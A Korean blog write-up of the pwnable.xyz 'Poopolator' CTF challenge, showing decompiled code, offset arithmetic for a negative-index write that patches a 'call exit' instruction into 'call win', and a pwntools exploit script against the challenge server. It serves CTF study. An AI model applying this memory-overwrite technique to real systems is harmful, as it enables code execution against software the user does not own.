또 win함수가 있다.
main에서 어떠한 방법으로 win함수를 호출해야 하는데, main함수를 보면,
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-24h]
__int64 v4; // [rsp+10h] [rbp-20h]
__int64 v5; // [rsp+18h] [rbp-18h]
__int64 v6; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
puts("The Poopolator");
setup("The Poopolator", argv);
while ( 1 )
{
v6 = 0LL;
printf(format);
v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6);
if ( !v4 || !v5 || !v6 || v6 > 9 || v3 != 3 )
break;
result[v6] = v5 ^ v4;
printf("Result: %ld\n", result[v6]);
}
exit(1);
}
처음엔 xor의 결과값인 result가 배열로 선언되어 있어서 v6를 0으로 하면 풀릴 줄 알았는데 if문에서 v6 > 9라는 조건이 있었다.
이 문제의 풀이방법은 코드중 수정할수 있는 부분을 찾아서 수정하고, 원래 불러오려던 함수가 아닌 win함수를 불러오게 하는 것 이다.
우선, gdb-peda의 vmmap을 이용하여, 수정할수 있는 부분을 확인한다. (정확하게는 가상메모리의 레이아웃을 출력하는 것이다.)
이렇게 빨간색 코드영역의 권한에 w권한이 있으므로, 수정할 수 있다.
이 점을 이용하여, 'call exit', 즉 exit함수가 호출되는 부분을 win이 호출되도록 수정할것이다.
우리가 이용할 코드는 'result[v6] = v5^v4'이고, 좌변엔 call exit의 주소, 우변엔 call win의 주소를 넣어주면 된다.
여기서 v6를 구할때 생각을 해보면 기본값은 result변수 주소로 들어가있을 것이다. 그러면
[call exit주소 - result변수 주소]/8(64비트이므로) 을 해주면 될것이다.
근데 여기서 call exit주소는 마지막 3개만 읽어줘야하는데,
이렇게 프로그램을 돌리기 전의 offset이기 때문이다.
(0xac8 - 0x202200)/8 = -262887 >>v6
이제 call win의 주소를 구하면 되는데,
위 글과 같이 64비트에서 call 명령의 형식은 E8 xx xx xx xx 이다. (리틀엔디안)_
-acd + a21 = ffff ff54
따라서 ffffff54e8을 넣어주면 되고, xor을 두번하면 그대로나오니깐 1과 xor을 한번 하면
ffffff55e8이다. 10진수로 1,099,511,584,232
따라서 v6 = -262887, v5 = 1,099,511,584,232, v4 = 1.
from pwn import *
p = remote("svc.pwnable.xyz", 30029)
p.sendafter(">", "1 1099511584232 -262887")
p.sendafter(" ", "a")
print p.recv(1024)
p.interactive()
'pwnable > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] Welcome (0) | 2020.09.28 |
---|---|
[pwnable.xyz] two targets (0) | 2020.09.26 |
[pwnable.xyz] note (0) | 2020.09.14 |
[pwnable.xyz] grownup (0) | 2020.09.12 |
[pwnable.xyz] misalignment (0) | 2020.09.10 |